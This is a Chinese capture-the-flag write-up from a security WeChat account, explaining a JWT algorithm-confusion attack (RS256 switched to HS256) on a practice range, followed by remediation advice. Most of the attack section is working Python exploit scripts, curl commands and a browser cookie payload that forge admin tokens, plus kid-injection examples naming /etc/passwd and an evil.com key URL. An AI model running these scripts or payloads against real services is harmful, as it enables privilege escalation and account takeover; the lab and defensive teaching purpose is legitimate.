关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
学安全,别只看书上手练,就来好靶场,本WP靶场已开放,欢迎体验:
🔗 入口:http://www.loveli.com.cn/see_bug_one?id=419
✅ 邀请码:48ffd1d7eba24bf4
🎁 填写即领 7 天高级会员,解锁更多漏洞实战环境!快来一起实战吧!👇
前置知识
JWT (JSON Web Token) 基础
- JWT 的三部分结构:Header.Payload.Signature
- 常见签名算法:RS256(非对称)、HS256(对称)
- Base64 URL 编码与解码
密码学基础
- 非对称加密:RSA 公钥/私钥对
- 对称加密:HMAC-SHA256
- 数字签名验证流程
HTTP 协议
- Cookie 机制
- HTTP 请求/响应头
- 会话管理
Web 安全基础
- 认证与授权
- 权限提升攻击
- API 安全
靶场考点/漏洞原理
核心漏洞:JWT 算法混淆攻击(Algorithm Confusion)
漏洞原理:
JWT 使用不同的算法进行签名验证:
- RS256(RSA + SHA256):非对称算法,使用私钥签名,公钥验证
- HS256(HMAC + SHA256):对称算法,使用同一密钥签名和验证
当后端代码没有严格校验算法类型时,攻击者可以:
- 将 Header 中的
alg从RS256改为HS256 - 使用公钥作为 HMAC 的密钥进行签名
- 服务器错误地使用公钥验证 HS256 签名,导致验证通过
伪代码示例(易受攻击的实现):
1# 错误的实现
2def verify_jwt(token):
3 header = decode_header(token)
4 algorithm = header['alg'] # 从 token 中读取算法
5
6 if algorithm == 'RS256':
7 verify_with_public_key(token) # 使用公钥验证
8 elif algorithm == 'HS256':
9 verify_with_hmac(token, public_key) # 错误!用公钥当 HMAC 密钥
正确的实现应该:
1# 安全的实现
2def verify_jwt(token):
3 expected_algorithm = 'RS256' # 强制指定算法
4 header = decode_header(token)
5
6 if header['alg'] != expected_algorithm:
7 raise SecurityError("Algorithm mismatch")
8
9 verify_with_public_key(token)
本题的关键难点
难点 1:时间戳问题
问题表现:
- 生成的恶意 JWT 使用了过期或不一致的时间戳
- 服务器验证
iat(issued at)和exp(expiration)时拒绝请求
解决方案:
- 必须先登录获取有效的原始 token
- 从原始 token 中提取
iat和exp - 在构造恶意 JWT 时使用相同的时间戳
错误示例:
1# 错误:使用当前时间戳
2malicious_payload = {
3 "username": "user",
4 "role": "admin",
5 "iat": int(time.time()), # ❌ 新时间戳
6 "exp": int(time.time()) + 86400
7}
正确示例:
1# 正确:复用原始 token 的时间戳
2original_payload = decode_jwt(original_token)
3malicious_payload = {
4 "username": "user",
5 "role": "admin",
6 "iat": original_payload['iat'], # ✅ 复用原始时间戳
7 "exp": original_payload['exp']
8}
难点 2:公钥格式问题
问题表现:
- 使用正确的算法和时间戳,但生成的签名与预期不符
- 服务器仍然返回 302 重定向到
/login
根本原因:
HMAC 签名对输入极其敏感,公钥字符串中的任何差异(包括换行符、空格)都会导致完全不同的签名。
测试验证:
1# 公钥 A(8 个换行符)
2key_a = """-----BEGIN PUBLIC KEY-----
3MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
4-----END PUBLIC KEY-----""" # 长度 450 字符
5
6# 公钥 B(9 个换行符)
7key_b = """-----BEGIN PUBLIC KEY-----
8MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
9
10-----END PUBLIC KEY-----""" # 长度 451 字符
11
12# 即使内容相同,签名完全不同!
13hmac.new(key_a.encode(), message, sha256).hexdigest()
14# 输出: 0f3c6eb2e84e14ed8bd5388232720edf...
15
16hmac.new(key_b.encode(), message, sha256).hexdigest()
17# 输出: a9f9868398a7eb2bb0d5a1ec6f5e37de... # ❌ 完全不同
解决方案:
1# 标准化公钥格式
2def normalize_pem(pem_string):
3 lines = pem_string.strip().split('\n')
4 return '\n'.join(lines) # 确保每行之间只有一个换行符
5
6# 从 JWKS 转换时要保证格式一致
7pem_str = public_key.public_bytes(
8 encoding=serialization.Encoding.PEM,
9 format=serialization.PublicFormat.SubjectPublicKeyInfo
10).decode('utf-8')
11
12# 标准化
13normalized_pem = normalize_pem(pem_str)
为什么 Burp Suite 的 JWT Editor 可以成功?
Burp Suite JWT Editor 工具的优势:
自动处理公钥格式
- 工具内部统一了公钥的存储和使用格式
- 不会因为换行符、编码问题导致签名失败
可视化操作
- 直接修改 JWT 的 Header 和 Payload
- 自动重新签名,无需手动处理 Base64 编码
内置算法混淆攻击
- 提供 “Sign with symmetric key” 功能
- 直接将 PEM 公钥转换为 HS256 密钥使用
避免时间戳问题
- 可以直接在当前有效的 token 上修改
- 保留原始的
iat和exp
手工攻击常见失败原因总结:
| 错误类型 | 表现 | 原因 | 解决方法 |
|---|---|---|---|
| 时间戳过期 | 302 重定向到 /login | 使用了新的时间戳而非原始 token 的时间戳 | 先登录获取有效 token,提取时间戳 |
| 公钥格式不一致 | 302 重定向到 /login | 换行符数量不同导致签名完全不同 | 标准化公钥格式(去除多余换行) |
| 算法未修改 | 依然显示 user | Header 中 alg 仍为 RS256 | 确保修改为 HS256 |
| Payload 未修改 | 依然显示 user | role 字段未改为 admin | 确保 role: “admin” |
调试技巧:
1# 对比两个 JWT 的差异
2def debug_jwt(jwt1, jwt2):
3 parts1 = jwt1.split('.')
4 parts2 = jwt2.split('.')
5
6 print(f"Header 相同: {parts1[0] == parts2[0]}")
7 print(f"Payload 相同: {parts1[1] == parts2[1]}")
8 print(f"Signature 相同: {parts1[2] == parts2[2]}")
9
10 if parts1[0] == parts2[0] and parts1[1] == parts2[1]:
11 print("签名不同 → 密钥格式问题!")
这两个难点是本题的核心挑战,也是为什么很多人即使理解了算法混淆原理,仍然无法成功利用的原因。
解题思路

打开靶场就看到非常贴心的提示了登录用户名和密码

登录成功,仔细一看用户身份才是user就知道没有这么简单。

jwt就是找token,把token改成admin或者高权限的用户就可以。

复制token的值丢AI解析一下加密方式
1// Header
2{
3 "alg": "RS256",
4 "kid": "jwt-demo-key",
5 "typ": "JWT"
6}
7
8// Payload
9{
10 "username": "user",
11 "role": "user",
12 "email": "user@example.com",
13 "exp": 1766196705,
14 "iat": 1766110305
15}
关键信息:
- 算法: RS256 (RSA 非对称加密)
- 当前角色: user
- 目标: 修改为 admin
直接F12控制台一把梭上去,哎,怎么不对?后来发现是时间戳问题,我因为做这个题的时候刚打开电脑,有点懒不想打开BP,想着一个区区JWT题,算一下加密解密的就行。然后因为前后抓包的时间戳不同就是改不了user为admin。虽然看了其他WP大佬们都用BP一顿操作就成功了,但是我懒。 BP抓包不会遇到这个问题因为BP现抓现改。
让AI给我 搓了一个半自动脚本
1"""
2手工辅助版:提供登录后的 token,自动完成攻击
3"""
4
5import base64
6import json
7import hmac
8import hashlib
9
10# ============= 手动配置 =============
11
12# 步骤1: 登录后,从响应的 Set-Cookie 中复制 token
13ORIGINAL_TOKEN = "eyJhbGciOiJSUzI1NiIsImtpZCI6Imp3dC1kZW1vLWtleSIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImVtYWlsIjoidXNlckBleGFtcGxlLmNvbSIsImV4cCI6MTc2NjE5OTI2NywiaWF0IjoxNzY2MTEyODY3fQ.FdzxFO9aMjhruABYTJ3OqBjYVgeMycDSGswFKkHN4KDFbP_fQjJcBMpHOQnWj5A3mPtyQRqYHemqUPQnWzXjvIdQygpWeA5z-ycIA40pCtRLLlcJ6xm2COXg1wfzNN0E-Yy2v8Q_PogIHFXxEuxMa4-ttiiKDSpwIlX06Lh58U5GqUW-6hUjIH9YrN10MBbh013eSooWLWvmvlqB25ZCNYMc9uGFnbq9kynpIrejbVRckYQaOxwU5pbzwedIJUFjbjrteWsCyGSkdSdbB89KiI_gtKuQHAJPqHLRNETXl1TVoI3oiojwEjk4CML3lay8oo5_e4SpfI6gHDTKXi3tmg"
14
15# 步骤2: 访问 /jwks.json 获取公钥,粘贴到这里
16PUBLIC_KEY_PEM = """-----BEGIN PUBLIC KEY-----
17MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAry7fD9dmGaehXB8hQRbv
18HzEySHYLw/E42O73Z//kod3J6OXOH2xOaaTHpUHnueF3jsy5XdK4+37J32fRlY+K
19bn2pJKeo2utj6Se984+R9XD8P+/ESmH+NRX60ZFVr38gjYO/H9FvtXM3dyEK1Evg
2040V6GmqT1fM2Q4GPPuQ9L1yt4j3vr2FM1MirOLODEOd3llY9QL0q2eOkkbvniKrM
21wwV9iEy9sPP5fnfCwJM+w8lir9MB06DquA/a+VanH2Ml9Yn9TjrVrNU5GEBgCrPe
22U10HbceGJBQ53TJZTbjPHU5aFe77RP5mY5gWqR1RHSvPIgP8FvTVTyBeB3ZNpGG3
23EwIDAQAB
24-----END PUBLIC KEY-----"""
25
26TARGET_URL = "http://n68vwbq.haobachang.loveli.com.cn:8888"
27
28# ============= 自动处理 =============
29
30def b64url_encode(data):
31 if isinstance(data, dict):
32 data = json.dumps(data, separators=(',', ':')).encode()
33 encoded = base64.urlsafe_b64encode(data).decode()
34 return encoded.rstrip('=')
35
36def b64url_decode(data):
37 padding = 4 - len(data) % 4
38 if padding != 4:
39 data += '=' * padding
40 return base64.urlsafe_b64decode(data)
41
42# 从原始 token 提取时间戳
43payload_b64 = ORIGINAL_TOKEN.split('.')[1]
44payload = json.loads(b64url_decode(payload_b64))
45
46print("=" * 70)
47print("原始 Token Payload:")
48print(json.dumps(payload, indent=2))
49print("=" * 70)
50
51# 构造恶意 JWT
52header = {
53 "alg": "HS256",
54 "kid": "jwt-demo-key",
55 "typ": "JWT"
56}
57
58malicious_payload = {
59 "username": "user",
60 "role": "admin", # 修改为 admin
61 "email": "user@example.com",
62 "iat": payload['iat'],
63 "exp": payload['exp']
64}
65
66# 编码和签名
67header_b64 = b64url_encode(header)
68payload_b64 = b64url_encode(malicious_payload)
69message = f"{header_b64}.{payload_b64}".encode()
70signature = hmac.new(PUBLIC_KEY_PEM.encode(), message, hashlib.sha256).digest()
71signature_b64 = b64url_encode(signature)
72
73malicious_jwt = f"{header_b64}.{payload_b64}.{signature_b64}"
74
75print("\n" + "=" * 70)
76print("恶意 JWT:")
77print("=" * 70)
78print(malicious_jwt)
79
80print("\n" + "=" * 70)
81print("一键 Curl 命令:")
82print("=" * 70)
83print(f'curl -v -H "Cookie: token={malicious_jwt}" {TARGET_URL}/profile')
84
85print("\n" + "=" * 70)
86print("Burp Suite 操作:")
87print("=" * 70)
88print("1. 拦截 GET /profile 请求")
89print("2. 在 Cookie 中将 token 替换为上面的恶意 JWT")
90print("3. Forward 请求")
91print("=" * 70)
需要BP抓包login的登录,然后再把login登陆后返回的token值放脚本里面计算,然后替换到profile的重放包里面,或者用curl命令一键获取,前提是和burp抓包的login的token值一样,并且需要先login,保证时间戳。
最终还是打开了BP,偷懒失败

还是懒,不想用BP的话就用curl构造一个
1curl -i -X POST "http://n68vwbq.haobachang.loveli.com.cn:8888/login" -H "Content-Type: application/json" -H "User-Agent: Mozilla/5.0" -d '{"data":"aAoiypHlZZkP41+VNV7YFSNpDeVLh+86ae99Ui49b6LQpCM5/7j2L1RudShESTmA"}'

只要看到success的标志就是对的,然后手动复制token到上面的代码里面的token里面,/jwks.json 获取公钥后面就不用动了,公钥不会变。
或者打开F12复制登录后的token值到上面这个半自动脚本计算,然后再在控制台里面输入如下内容

1document.cookie="token=eyJhbGciOiJIUzI1NiIsImtpZCI6Imp3dC1kZW1vLWtleSIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoiYWRtaW4iLCJlbWFpbCI6InVzZXJAZXhhbXBsZS5jb20iLCJpYXQiOjE3NjYxMTI3OTEsImV4cCI6MTc2NjE5OTE5MX0.HolA-DkeY4T8zBuJ-V8Yoz8LiJ4D472Di-9rNhIF8W4;path=/";location.reload();
我还是不能放弃一键梭哈的诱惑,然后让AI帮我写了个全自动脚本,不过只适合于这一题,因为profile之类的路径是写死的。
1"""
2JWT 算法混淆攻击工具 (RS256 -> HS256)
3支持自动模式和手动模式
4"""
5
6import base64
7import json
8import hmac
9import hashlib
10import requests
11import sys
12import argparse
13import re
14
15TARGET_URL = "http://n68vwbq.haobachang.loveli.com.cn:8888"
16
17# ============= 工具函数 =============
18
19def print_banner():
20 print("\n" + "=" * 80)
21 print("JWT 算法混淆攻击工具 (RS256 -> HS256)")
22 print("=" * 80 + "\n")
23
24def b64url_encode(data):
25 if isinstance(data, dict):
26 data = json.dumps(data, separators=(',', ':')).encode()
27 elif isinstance(data, str):
28 data = data.encode()
29 encoded = base64.urlsafe_b64encode(data).decode()
30 return encoded.rstrip('=')
31
32def b64url_decode(data):
33 padding = 4 - len(data) % 4
34 if padding != 4:
35 data += '=' * padding
36 return base64.urlsafe_b64decode(data)
37
38# ============= 公钥获取 =============
39
40def get_public_key_from_jwks(url):
41 """获取公钥并修正换行符格式"""
42 print(f"[*] 正在获取公钥: {url}/jwks.json")
43
44 try:
45 response = requests.get(f"{url}/jwks.json", timeout=10)
46 response.raise_for_status()
47 jwks = response.json()
48
49 print(f"[+] 成功获取 JWKS\n")
50
51 try:
52 from cryptography.hazmat.primitives.asymmetric import rsa
53 from cryptography.hazmat.primitives import serialization
54 from cryptography.hazmat.backends import default_backend
55
56 first_key = jwks['keys'][0]
57 n = int.from_bytes(b64url_decode(first_key['n']), 'big')
58 e = int.from_bytes(b64url_decode(first_key['e']), 'big')
59
60 public_key = rsa.RSAPublicNumbers(e, n).public_key(default_backend())
61 pem = public_key.public_bytes(
62 encoding=serialization.Encoding.PEM,
63 format=serialization.PublicFormat.SubjectPublicKeyInfo
64 )
65
66 pem_str = pem.decode('utf-8')
67
68 # 标准化换行符格式
69 lines = pem_str.strip().split('\n')
70 normalized_pem = '\n'.join(lines)
71
72 print(f"[+] 公钥转换成功")
73 print("-" * 80)
74 print(normalized_pem)
75 print("-" * 80)
76 print()
77
78 return normalized_pem
79
80 except ImportError:
81 print("[!] 需要安装: pip install cryptography")
82 sys.exit(1)
83
84 except Exception as e:
85 print(f"[!] 获取公钥失败: {e}")
86 sys.exit(1)
87
88# ============= 登录和 Token 获取 =============
89
90def auto_login(url):
91 """自动登录并获取 token"""
92 print(f"[*] 正在自动登录: {url}/login")
93
94 login_data = {
95 "data": "aAoiypHlZZkP41+VNV7YFSNpDeVLh+86ae99Ui49b6LQpCM5/7j2L1RudShESTmA"
96 }
97
98 headers = {
99 "Content-Type": "application/json",
100 "User-Agent": "Mozilla/5.0"
101 }
102
103 try:
104 response = requests.post(
105 f"{url}/login",
106 json=login_data,
107 headers=headers,
108 timeout=10
109 )
110
111 print(f"[*] 响应状态码: {response.status_code}")
112
113 # 从 Set-Cookie 中提取 token
114 token = None
115 if 'Set-Cookie' in response.headers:
116 set_cookie = response.headers['Set-Cookie']
117 match = re.search(r'token=([^;]+)', set_cookie)
118 if match:
119 token = match.group(1)
120
121 if not token:
122 print(f"[!] 未能从响应中提取 token")
123 print(f"[!] 响应头: {response.headers}")
124 print(f"[!] 响应体: {response.text}")
125 return None, None
126
127 print(f"[+] 成功获取 token\n")
128
129 # 解码 payload
130 try:
131 payload_b64 = token.split('.')[1]
132 payload = json.loads(b64url_decode(payload_b64))
133
134 print(f"[*] Token Payload:")
135 print(json.dumps(payload, indent=2))
136 print()
137
138 return token, payload
139
140 except Exception as e:
141 print(f"[!] Token 解码失败: {e}")
142 return None, None
143
144 except Exception as e:
145 print(f"[!] 登录失败: {e}")
146 return None, None
147
148def manual_get_token(url):
149 """手动模式:引导用户输入 token"""
150 print(f"[*] 使用以下命令登录:\n")
151
152 curl_cmd = f'curl -i -X POST "{url}/login" -H "Content-Type: application/json" -H "User-Agent: Mozilla/5.0" -d \'{{"data":"aAoiypHlZZkP41+VNV7YFSNpDeVLh+86ae99Ui49b6LQpCM5/7j2L1RudShESTmA"}}\''
153 print(curl_cmd)
154 print("-" * 80)
155 print("\n请粘贴从响应中获取的 token:\n")
156
157 token = input("Token: ").strip()
158
159 if not token:
160 print("[!] Token 不能为空")
161 sys.exit(1)
162
163 # 清理 token
164 if 'token=' in token:
165 token = token.split('token=')[1].split(';')[0].strip()
166
167 if token.count('.') != 2:
168 print(f"[!] Token 格式错误")
169 sys.exit(1)
170
171 try:
172 payload_b64 = token.split('.')[1]
173 payload = json.loads(b64url_decode(payload_b64))
174
175 print(f"\n[+] Token 解码成功")
176 print(f"[*] 原始 Payload:")
177 print(json.dumps(payload, indent=2))
178 print()
179
180 return token, payload
181
182 except Exception as e:
183 print(f"[!] Token 解码失败: {e}")
184 sys.exit(1)
185
186# ============= JWT 生成 =============
187
188def create_malicious_jwt(public_key_pem, original_payload):
189 """生成恶意 JWT"""
190 header = {
191 "alg": "HS256",
192 "kid": "jwt-demo-key",
193 "typ": "JWT"
194 }
195
196 malicious_payload = {
197 "username": "user",
198 "role": "admin",
199 "email": "user@example.com",
200 "iat": original_payload['iat'],
201 "exp": original_payload['exp']
202 }
203
204 print(f"[*] 原始 role: {original_payload.get('role')}")
205 print(f"[*] 修改后 role: admin")
206 print(f"[*] 时间戳: iat={malicious_payload['iat']}, exp={malicious_payload['exp']}\n")
207
208 # 编码
209 header_b64 = b64url_encode(header)
210 payload_b64 = b64url_encode(malicious_payload)
211 message = f"{header_b64}.{payload_b64}".encode()
212
213 # 签名
214 signature = hmac.new(public_key_pem.encode(), message, hashlib.sha256).digest()
215 signature_b64 = b64url_encode(signature)
216
217 malicious_jwt = f"{header_b64}.{payload_b64}.{signature_b64}"
218
219 print(f"[+] 恶意 JWT 生成成功!\n")
220
221 return malicious_jwt
222
223# ============= 测试和攻击 =============
224
225def test_jwt(url, jwt_token):
226 """测试恶意 JWT"""
227 print(f"[*] 测试恶意 JWT...")
228 print("-" * 80)
229
230 try:
231 response = requests.get(
232 f"{url}/profile",
233 cookies={'token': jwt_token},
234 timeout=10,
235 allow_redirects=False
236 )
237
238 print(f"[*] 响应状态码: {response.status_code}\n")
239
240 if response.status_code == 200:
241 print(f"[SUCCESS] ✓ 请求成功!\n")
242
243 if 'admin' in response.text.lower():
244 print(f"[SUCCESS] ✓ 身份已提升为 admin!\n")
245
246 if 'flag' in response.text.lower():
247 print(f"[SUCCESS] ✓ 找到 flag!\n")
248
249 import re
250 flags = re.findall(r'flag\{[^}]+\}', response.text, re.IGNORECASE)
251 if flags:
252 print("=" * 80)
253 print(f"🚩 FLAG: {flags[0]}")
254 print("=" * 80 + "\n")
255 return True
256 else:
257 print(f"[*] 完整响应:\n{response.text}\n")
258 else:
259 print(f"[*] 响应片段:\n{response.text[:500]}\n")
260
261 return True
262
263 elif response.status_code == 302:
264 print(f"[FAILED] ✗ 重定向到: {response.headers.get('Location')}")
265 print(f"[FAILED] ✗ JWT 验证失败\n")
266 return False
267
268 else:
269 print(f"[?] 未知响应: {response.status_code}")
270 print(f"{response.text[:300]}\n")
271 return False
272
273 except Exception as e:
274 print(f"[!] 请求失败: {e}\n")
275 return False
276
277def print_usage_info(malicious_jwt, url):
278 """打印使用信息"""
279 print("=" * 80)
280 print("生成的恶意 JWT:")
281 print("=" * 80)
282 print(malicious_jwt)
283 print()
284
285 print("=" * 80)
286 print("Curl 命令:")
287 print("=" * 80)
288 print(f'curl -v -H "Cookie: token={malicious_jwt}" {url}/profile')
289 print()
290
291 print("=" * 80)
292 print("Burp Suite 操作:")
293 print("=" * 80)
294 print("1. 拦截 GET /profile 请求")
295 print("2. 替换 Cookie 中的 token")
296 print("3. Forward 请求")
297 print()
298
299 print("=" * 80)
300 print("浏览器 Console:")
301 print("=" * 80)
302 print(f'document.cookie="token={malicious_jwt};path=/";location.reload();')
303 print("=" * 80 + "\n")
304
305# ============= 主函数 =============
306
307def auto_mode(url):
308 """自动模式"""
309 print("\n" + "=" * 80)
310 print("自动模式")
311 print("=" * 80 + "\n")
312
313 # 步骤1: 获取公钥
314 print("[步骤 1/4] 获取公钥")
315 print("-" * 80)
316 public_key_pem = get_public_key_from_jwks(url)
317
318 # 步骤2: 自动登录
319 print("[步骤 2/4] 自动登录")
320 print("-" * 80)
321 original_token, original_payload = auto_login(url)
322
323 if not original_token:
324 print("[!] 自动登录失败,请使用手动模式")
325 sys.exit(1)
326
327 # 步骤3: 生成恶意 JWT
328 print("[步骤 3/4] 生成恶意 JWT")
329 print("-" * 80)
330 malicious_jwt = create_malicious_jwt(public_key_pem, original_payload)
331
332 # 步骤4: 测试
333 print("[步骤 4/4] 测试攻击")
334 print("-" * 80)
335 success = test_jwt(url, malicious_jwt)
336
337 # 输出使用信息
338 print_usage_info(malicious_jwt, url)
339
340 if success:
341 print("[SUCCESS] ✓ 自动攻击成功!")
342 else:
343 print("[提示] 攻击未成功,请检查:")
344 print(" 1. Token 是否过期")
345 print(" 2. 使用 Burp Suite 手动验证")
346
347def manual_mode(url):
348 """手动模式"""
349 print("\n" + "=" * 80)
350 print("手动模式")
351 print("=" * 80 + "\n")
352
353 # 步骤1: 获取公钥
354 print("[步骤 1/4] 获取公钥")
355 print("-" * 80)
356 public_key_pem = get_public_key_from_jwks(url)
357
358 # 步骤2: 手动输入 token
359 print("[步骤 2/4] 获取有效 Token")
360 print("-" * 80)
361 original_token, original_payload = manual_get_token(url)
362
363 # 步骤3: 生成恶意 JWT
364 print("[步骤 3/4] 生成恶意 JWT")
365 print("-" * 80)
366 malicious_jwt = create_malicious_jwt(public_key_pem, original_payload)
367
368 # 步骤4: 测试
369 print("[步骤 4/4] 测试攻击")
370 print("-" * 80)
371 success = test_jwt(url, malicious_jwt)
372
373 # 输出使用信息
374 print_usage_info(malicious_jwt, url)
375
376 if success:
377 print("[SUCCESS] ✓ 攻击成功!")
378 else:
379 print("[提示] 如果失败,请:")
380 print(" 1. 确认 token 未过期(重新登录)")
381 print(" 2. 使用 Burp Suite 手动验证")
382
383def main():
384 parser = argparse.ArgumentParser(
385 description='JWT 算法混淆攻击工具 (RS256 -> HS256)',
386 formatter_class=argparse.RawDescriptionHelpFormatter,
387 epilog='''
388使用示例:
389 自动模式: python3 %(prog)s --auto
390 手动模式: python3 %(prog)s --manual
391 指定 URL: python3 %(prog)s --auto --url http://target.com:8888
392 '''
393 )
394
395 parser.add_argument(
396 '--auto',
397 action='store_true',
398 help='自动模式(自动登录获取 token)'
399 )
400
401 parser.add_argument(
402 '--manual',
403 action='store_true',
404 help='手动模式(手动输入 token)'
405 )
406
407 parser.add_argument(
408 '--url',
409 type=str,
410 default=TARGET_URL,
411 help=f'目标 URL(默认: {TARGET_URL})'
412 )
413
414 args = parser.parse_args()
415
416 # 如果没有指定模式,显示帮助
417 if not args.auto and not args.manual:
418 parser.print_help()
419 print("\n[!] 请指定模式: --auto 或 --manual")
420 sys.exit(1)
421
422 # 如果同时指定两个模式,报错
423 if args.auto and args.manual:
424 print("[!] 错误: 不能同时使用 --auto 和 --manual")
425 sys.exit(1)
426
427 print_banner()
428
429 try:
430 if args.auto:
431 auto_mode(args.url)
432 else:
433 manual_mode(args.url)
434
435 except KeyboardInterrupt:
436 print("\n\n[!] 用户中断")
437 sys.exit(0)
438 except Exception as e:
439 print(f"\n[!] 错误: {e}")
440 import traceback
441 traceback.print_exc()
442 sys.exit(1)
443
444if __name__ == "__main__":
445 main()

漏洞修复/规避方法
一、漏洞本质理解
银行取款比喻(算法混淆攻击)
正常情况(RS256 —— 安全)
你去银行取钱
↓
【登录验证】
柜台:请签名(用你的私钥 = 你独特的签名技巧)
你:[签名]
柜台:核对笔迹... ✅ 是本人!
↓
【签发凭证】
行长用【私钥】在取款凭证(JWT)上签名
凭证内容:
- 姓名:张三
- 权限:普通用户(role: user)
- 行长签名:[只有行长才能签]
↓
【验证取款】
保安验证凭证:
- 用墙上的"行长签名样本"(公钥)验证
- ✅ 确实是行长签的!放行!
算法混淆攻击(Algorithm Confusion)
黑客去银行
↓
【黑客也正常登录】
拿到一个真凭证(权限:普通用户)
↓
【回家篡改凭证】
黑客操作:
1. 把 role 改成 admin
2. 从墙上拿到“行长签名样本”(公钥,公开)
3. 用这个公钥作为“印章材料”
4. 在凭证上写明:alg = HS256
↓
【漏洞触发】
保安(有漏洞):
- “哦?你说用 HS256?”
- “那我也用 HS256 算一下,哎一样,sir this way”
- 用公钥作为 HMAC 密钥重新计算签名
- 对比结果:✅ 一模一样
本质一句话总结:
黑客用“公钥”当成“对称密钥”签名 服务端居然也照做了,真是傻的可爱
⚠️ 核心问题澄清
- ❌ 不是公钥泄露(公钥本来就该公开)
- ❌ 不是 RS256 被破解
- ❌ 不是 HS256 不安全
👉 真正的问题是:
服务端信任了客户端声明的算法(alg)
二、关键防御原则
1️⃣ 服务端必须强制指定算法(最重要)
永远不要信任 JWT Header 中的
alg字段
❌ 错误示例(真实 CVE 场景)
1def verify_jwt_vulnerable(token):
2 header = decode_header(token)
3 algorithm = header['alg'] # ❌ 攻击者可控
4
5 if algorithm == 'RS256':
6 return verify_with_rsa(token, PUBLIC_KEY)
7 elif algorithm == 'HS256':
8 # ❌ 致命错误:公钥被当作 HMAC 密钥
9 return verify_with_hmac(token, PUBLIC_KEY)
攻击流程:
1攻击者:
2 alg = HS256
3 signature = HMAC(message, PUBLIC_KEY)
4
5服务端:
6 expected = HMAC(message, PUBLIC_KEY)
7
8signature == expected → ✅ 验证通过
✅ 正确示例(安全)
1def verify_jwt_secure(token):
2 EXPECTED_ALG = 'RS256'
3
4 header = decode_header(token)
5 if header.get('alg') != EXPECTED_ALG:
6 raise SecurityError("Algorithm mismatch")
7
8 return verify_with_rsa(token, PUBLIC_KEY)
⚠️ 工程级建议:
更推荐 完全不自行解析 Header,而是交给成熟 JWT 库一次性完成校验
2️⃣ 算法白名单,而不是黑名单
1jwt.decode(
2 token,
3 public_key,
4 algorithms=['RS256'] # 白名单
5)
⚠️ 重要修正说明:
HS256 本身不是不安全算法
但:
- 如果系统使用 RS256 / ES256
- 必须明确禁用 HS256
❌ 禁止在同一系统中混用对称 + 非对称算法
Never mix symmetric and asymmetric JWT algorithms in the same trust boundary
3️⃣ 明确禁用 none 算法
1FORBIDDEN_ALGORITHMS = ['none']
现代库通常已默认禁用,但不要依赖“默认安全”。
三、完整的安全 JWT 验证流程
1def secure_jwt_verify(token, public_key):
2 try:
3 payload = jwt.decode(
4 token,
5 public_key,
6 algorithms=['RS256'],
7 audience='your-app-id',
8 issuer='your-trusted-issuer.com'
9 )
10
11 # 授权约束校验(不是防篡改)
12 if payload.get('role') not in ['user', 'admin', 'guest']:
13 raise SecurityError("Invalid role")
14
15 return payload
16
17 except jwt.ExpiredSignatureError:
18 raise SecurityError("Token expired")
19 except jwt.InvalidTokenError:
20 raise SecurityError("JWT validation failed")
⚠️ 说明修正:
- JWT 一旦验证通过,payload 即不可被篡改
- role 校验属于 授权逻辑(Authorization)
四、其他非常关键的攻击点
🔥 1. kid Header 注入攻击
危险示例:
1{
2 "alg": "RS256",
3 "kid": "../../../../../etc/passwd"
4}
或:
1"kid": "http://evil.com/key.pem"
防御原则:
kid只能:- 映射到服务端预定义 key-id
❌ 禁止:
- 文件路径
- URL
- 动态数据库查询
结论:
kid是仅次于alg的第二高危 Header 字段
🔥 2. JWT ≠ Session
- JWT 不适合:
- 长期高权限
- 敏感操作
- 建议:
- 短期 JWT
- 二次校验
- 服务端状态控制
五、日志与监控
⚠️ 不要误判攻击类型:
1except jwt.InvalidTokenError:
2 logging.warning(
3 "JWT validation failed with unexpected algorithm or signature",
4 extra={"header": safe_decode_header(token)}
5 )
👉 实战中不一定能精确区分算法混淆
六、代码审计检查清单
- 是否显式指定算法白名单?
- 是否禁止混用对称 / 非对称 JWT?
- 是否禁用
none? - 是否限制
kid来源? - 是否避免自行解析 Header?
- 是否将授权逻辑与 JWT 校验分离?
- 是否使用最新 JWT 库?
七、最终总结
JWT 算法混淆攻击的本质,并不是密码学失败,而是信任边界设计错误。
不可妥协的三条原则:
- 算法必须由服务端决定
- 密钥来源必须完全受控
- JWT 只做身份,不做最终授权
一句话总结: JWT 的安全问题,99% 来自工程实现,而不是算法本身。
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚


